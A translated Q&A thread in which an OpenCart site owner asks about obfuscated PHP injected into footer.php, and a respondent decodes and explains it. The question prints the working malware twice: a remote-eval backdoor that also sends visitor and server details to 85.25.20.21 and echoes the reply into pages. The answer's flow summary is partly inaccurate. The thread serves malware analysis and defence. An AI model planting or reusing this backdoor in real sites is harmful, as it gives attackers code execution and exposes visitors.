PHP - 添加到 footer.php 的代码

PHP - Code added to footer.php

我使用 OpenCart 创建了网站,但是由于 footer.php 中的垃圾代码,网站突然崩溃了。

代码如下:

error_reporting(0); ini_set("display_errors", "0"); if (!isset($ie7be30e6)) { $ie7be30e6 = TRUE;  $GLOBALS['_1208357119_']=Array(base64_decode('cH' .'J' .'l' .'Z19tY' .'XR' .'jaA' .'=='),base64_decode('ZmlsZ' .'V' .'9n' .'ZXRfY29udGV' .'udHM='),base64_decode('Z' .'mlsZV' .'9nZ' .'XRfY' .'2' .'9' .'udGVud' .'HM='),base64_decode('dXJsZ' .'W5jb' .'2' .'Rl'),base64_decode('d' .'XJ' .'s' .'ZW5jb2Rl'),base64_decode('bWQ1'),base64_decode('c' .'3Ry' .'aXBzbGF' .'za' .'G' .'Vz'));  function _682313165($i){$a=Array('Y2xpZ' .'W' .'50X' .'2' .'N' .'oZWNr','Y2xpZW50X2' .'NoZWNr','' .'S' .'FRUUF9BQ0NFU' .'FRfQ0hBUlNF' .'V' .'A==','IS4hdQ=' .'=','U0NSS' .'VBUX0ZJ' .'TEV' .'OQU1F','' .'V' .'V' .'RGLTg=','' .'d2lu' .'ZG' .'93cy0' .'xMjUx','' .'S' .'F' .'RUUF9' .'BQ' .'0NFUF' .'RfQ0hBU' .'lNFVA==','' .'aHR' .'0cDo' .'vLw==','ODUuMjUuM' .'jAu' .'MjE' .'vZ2' .'V0' .'Ln' .'B' .'ocD9k' .'P' .'Q==','' .'U' .'0VSVkVSX05' .'B' .'TUU=','' .'U' .'k' .'VR' .'V' .'UVTVF9' .'VUk' .'k=','JnU9','SFRU' .'U' .'F9VU0VSX0' .'F' .'HRU5U','' .'JmM9','' .'Jm' .'k' .'9MSZp' .'c' .'D0' .'=','UkVNT' .'1RFX0FERFI=','' .'Jm' .'g9','' .'ODY' .'0YTE5Y' .'2' .'JkYzAyNWI0ZD' .'NjYz' .'V' .'mMz' .'Ey' .'N2MxN' .'2FhO' .'DY' .'=','U0VSV' .'kV' .'SX05B' .'T' .'UU=','UkVRVUVTVF9VU' .'kk=','SF' .'RUUF9VU0' .'V' .'SX' .'0' .'FHRU5U','M' .'Q==','' .'cA=' .'=','' .'cA==','ZTdiZTMwZTY=');return base64_decode($a[$i]);}  if(!empty($_COOKIE[_682313165(0)]))die($_COOKIE[_682313165(1)]);if(!isset($yf60436_0[_682313165(2)])){if($GLOBALS['_1208357119_'][0](_682313165(3),$GLOBALS['_1208357119_'][1]($_SERVER[_682313165(4)]))){$yf60436_1=_682313165(5);}else{$yf60436_1=_682313165(6);}}else{$yf60436_1=$yf60436_0[_682313165(7)];}echo $GLOBALS['_1208357119_'][2](_682313165(8) ._682313165(9) .$GLOBALS['_1208357119_'][3]($_SERVER[_682313165(10)] .$_SERVER[_682313165(11)]) ._682313165(12) .$GLOBALS['_1208357119_'][4]($_SERVER[_682313165(13)]) ._682313165(14) .$yf60436_1 ._682313165(15) .$_SERVER[_682313165(16)] ._682313165(17) .$GLOBALS['_1208357119_'][5](_682313165(18) .$_SERVER[_682313165(19)] .$_SERVER[_682313165(20)] .$_SERVER[_682313165(21)] .$yf60436_1 ._682313165(22)));$yf60436_2=round(0+3142);if(isset($_REQUEST[_682313165(23)])&& $_REQUEST[_682313165(24)]== _682313165(25)){eval($GLOBALS['_1208357119_'][6]($_REQUEST["c"]));}  }

error_reporting(0); ini_set("display_errors", "0"); if (!isset($ie7be30e6)) { $ie7be30e6 = TRUE;  $GLOBALS['_1208357119_']=Array(base64_decode('cH' .'J' .'l' .'Z19tY' .'XR' .'jaA' .'=='),base64_decode('ZmlsZ' .'V' .'9n' .'ZXRfY29udGV' .'udHM='),base64_decode('Z' .'mlsZV' .'9nZ' .'XRfY' .'2' .'9' .'udGVud' .'HM='),base64_decode('dXJsZ' .'W5jb' .'2' .'Rl'),base64_decode('d' .'XJ' .'s' .'ZW5jb2Rl'),base64_decode('bWQ1'),base64_decode('c' .'3Ry' .'aXBzbGF' .'za' .'G' .'Vz'));  function _682313165($i){$a=Array('Y2xpZ' .'W' .'50X' .'2' .'N' .'oZWNr','Y2xpZW50X2' .'NoZWNr','' .'S' .'FRUUF9BQ0NFU' .'FRfQ0hBUlNF' .'V' .'A==','IS4hdQ=' .'=','U0NSS' .'VBUX0ZJ' .'TEV' .'OQU1F','' .'V' .'V' .'RGLTg=','' .'d2lu' .'ZG' .'93cy0' .'xMjUx','' .'S' .'F' .'RUUF9' .'BQ' .'0NFUF' .'RfQ0hBU' .'lNFVA==','' .'aHR' .'0cDo' .'vLw==','ODUuMjUuM' .'jAu' .'MjE' .'vZ2' .'V0' .'Ln' .'B' .'ocD9k' .'P' .'Q==','' .'U' .'0VSVkVSX05' .'B' .'TUU=','' .'U' .'k' .'VR' .'V' .'UVTVF9' .'VUk' .'k=','JnU9','SFRU' .'U' .'F9VU0VSX0' .'F' .'HRU5U','' .'JmM9','' .'Jm' .'k' .'9MSZp' .'c' .'D0' .'=','UkVNT' .'1RFX0FERFI=','' .'Jm' .'g9','' .'ODY' .'0YTE5Y' .'2' .'JkYzAyNWI0ZD' .'NjYz' .'V' .'mMz' .'Ey' .'N2MxN' .'2FhO' .'DY' .'=','U0VSV' .'kV' .'SX05B' .'T' .'UU=','UkVRVUVTVF9VU' .'kk=','SF' .'RUUF9VU0' .'V' .'SX' .'0' .'FHRU5U','M' .'Q==','' .'cA=' .'=','' .'cA==','ZTdiZTMwZTY=');return base64_decode($a[$i]);}  if(!empty($_COOKIE[_682313165(0)]))die($_COOKIE[_682313165(1)]);if(!isset($yf60436_0[_682313165(2)])){if($GLOBALS['_1208357119_'][0](_682313165(3),$GLOBALS['_1208357119_'][1]($_SERVER[_682313165(4)]))){$yf60436_1=_682313165(5);}else{$yf60436_1=_682313165(6);}}else{$yf60436_1=$yf60436_0[_682313165(7)];}echo $GLOBALS['_1208357119_'][2](_682313165(8) ._682313165(9) .$GLOBALS['_1208357119_'][3]($_SERVER[_682313165(10)] .$_SERVER[_682313165(11)]) ._682313165(12) .$GLOBALS['_1208357119_'][4]($_SERVER[_682313165(13)]) ._682313165(14) .$yf60436_1 ._682313165(15) .$_SERVER[_682313165(16)] ._682313165(17) .$GLOBALS['_1208357119_'][5](_682313165(18) .$_SERVER[_682313165(19)] .$_SERVER[_682313165(20)] .$_SERVER[_682313165(21)] .$yf60436_1 ._682313165(22)));$yf60436_2=round(0+3142);if(isset($_REQUEST[_682313165(23)])&& $_REQUEST[_682313165(24)]== _682313165(25)){eval($GLOBALS['_1208357119_'][6]($_REQUEST["c"]));}  }

上面的代码正在自动添加,网站正在崩溃。

谁能解释一下为什么会这样?

这被混淆了 PHP。可能会发生以下两种情况之一:

  1. 您的网站或主机受到威胁。
  2. 您的主机提供商正在使用工具获取您网站上的指标。

鉴于编码 PHP 中的主机 IP 位于 Barracuda Networks 的 blacklist 上,您或您的主机很可能已被入侵。联系您的主机提供商并关闭您的网站,因为这可能会向访问您网站的任何人传播恶意软件。

这可能是错误的,因为您的主机更改了 IP space 并且最近可能被列入黑名单。

我是怎么确定的?

  • Prettify PHP 使其更易于理解
  • 手动解码所有 Base64 以了解数组的构造方式。
  • 重建字符串以创建对外部服务器的 URL 请求。

一旦你最终解码了所有内容,该代码最终看起来像这样:

不要运行这个

// Turns off all error reporting and does not display errors.
error_reporting(0);
ini_set("display_errors", "0");

if (!isset($ie7be30e6)) {
    $ie7be30e6 = TRUE;

    $GLOBALS['_1208357119_'] = Array(preg_match, file_get_contents, file_get_contents,
        urlencode, urlencode, md5, stripslashes
    );

    function _682313165($i)
    {
        $a = Array(
            client_check, client_check, HTTP_ACCEPT_CHARSET, !.!u, SCRIPT_FILENAME, UTF-8,
            windows-1251, HTTP_ACCEPT_CHARSET, http://, 85.25.20.21/get.php?d=, SERVER_NAME,
            REQUEST_URI, &u=, HTTP_USER_AGENT, &c=, &i=1&ip=, REMOTE_ADDR, &h=,
            864a19cbdc025b4d3cc5f3127c17aa86, SERVER_NAME, REQUEST_URI, HTTP_USER_AGENT,
            1, p, p, e7be30e6
        );
        return $a[$i];
    }

    // Dies if cookie doesn't exists. Places client check in cookie.
    if (!empty($_COOKIE[client_check]))
        die($_COOKIE[client_check]);

    if (!isset($yf60436_0[HTTP_ACCEPT_CHARSET])) {
        if (preg_match(!.!u, file_get_contents($_SERVER[SCRIPT_FILENAME])))
            $yf60436_1 = UTF-8;
        else 
            $yf60436_1 = windows-1251;
    } else 
        $yf60436_1 = $yf60436_0[HTTP_ACCEPT_CHARSET];

    echo file_get_contents('http://85.25.20.21/get.php?d=' . urlencode($_SERVER[SERVER_NAME] . $_SERVER[REQUEST_URI]) . '&u=' urlencode($_SERVER[HTTP_USER_AGENT]) . '&c=' . $yf60436_1 . '&i=1&ip=' . $_SERVER[REMOTE_ADDR] . '&h=' . md5(864a19cbdc025b4d3cc5f3127c17aa86 . $_SERVER[SERVER_NAME] . $_SERVER[REQUEST_URI] . $_SERVER[HTTP_USER_AGENT] . $yf60436_1 . 1))

    $yf60436_2 = 3142;

    if (isset($_REQUEST[p]) && $_REQUEST[p] == e7be30e6)
        eval(stripslashes($_REQUEST["c"]));
}

不要运行这个

我没有使它完全 运行可用,因为我遗漏了一些语法组件。我提供这个是为了教育你和其他人去教育。永远不要 运行 任何你不信任或不理解的东西,如果你不理解 - 问别人!

这段代码在做什么?

提示一下,整体流程是:

  • 检查cookie,不存在则创建一个(代码是运行两次)。
  • 检查当前 运行ning 文件的路径以确定站点 运行ning 所在的服务器类型(Windows 或 Linux)
    • 这决定了 HTTP 服务器上可用的字符集。
  • 使用描述您的服务器(名称、请求、代理等)的 URI 从外部源获取文件。
  • 确定发布的信息是否符合条件
  • 如果响应匹配,运行 下载的文件。